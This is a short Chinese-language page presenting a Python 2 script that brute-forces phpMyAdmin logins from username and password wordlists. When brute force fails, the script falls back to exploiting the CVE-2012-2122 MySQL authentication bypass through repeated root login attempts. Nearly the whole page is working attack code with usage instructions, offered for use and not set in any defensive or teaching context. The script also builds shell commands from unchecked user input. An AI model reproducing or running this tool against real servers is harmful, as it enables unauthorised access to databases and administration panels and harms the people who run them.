Python写的PHPMyAdmin暴力破解工具代码

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

    #!/usr/bin/env python
    import urllib 
    import urllib2 
    import cookielib 
    import sys
    import subprocess
    def Crack(url,username,password):
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
        headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
        params = urllib.urlencode({'pma_username': username, 'pma_password': password})
        request = urllib2.Request(url+"/index.php", params,headers)
        response = opener.open(request) 
        a=response.read() 
        if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
            return username,password
        return 0
    def MySQLAuthenticationBypassCheck(host,port):
        i=0
        while i<300:
            i=i+1
            subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
    if __name__ == '__main__':
        if len(sys.argv)<4:
            print "#author:iswin\n#useage python pma.py http://www.jb51.net/phpmyadmin/ username.txt password.txt"
            sys.exit()
        print "Bruting,Pleas wait..."
        for name in open(sys.argv[2],"r"):
            for passw in open(sys.argv[3],"r"):
                state=Crack(sys.argv[1],name,passw)
                if state!=0:
                    print "\nBrute successful"
                    print "UserName: "+state[0]+"PassWord: "+state[1]
                    sys.exit()
        print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
        choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
        if choice=='Y' or choice=='y':
            host=raw_input('Host:')
            port=raw_input('Port:')
            MySQLAuthenticationBypassCheck(host,port)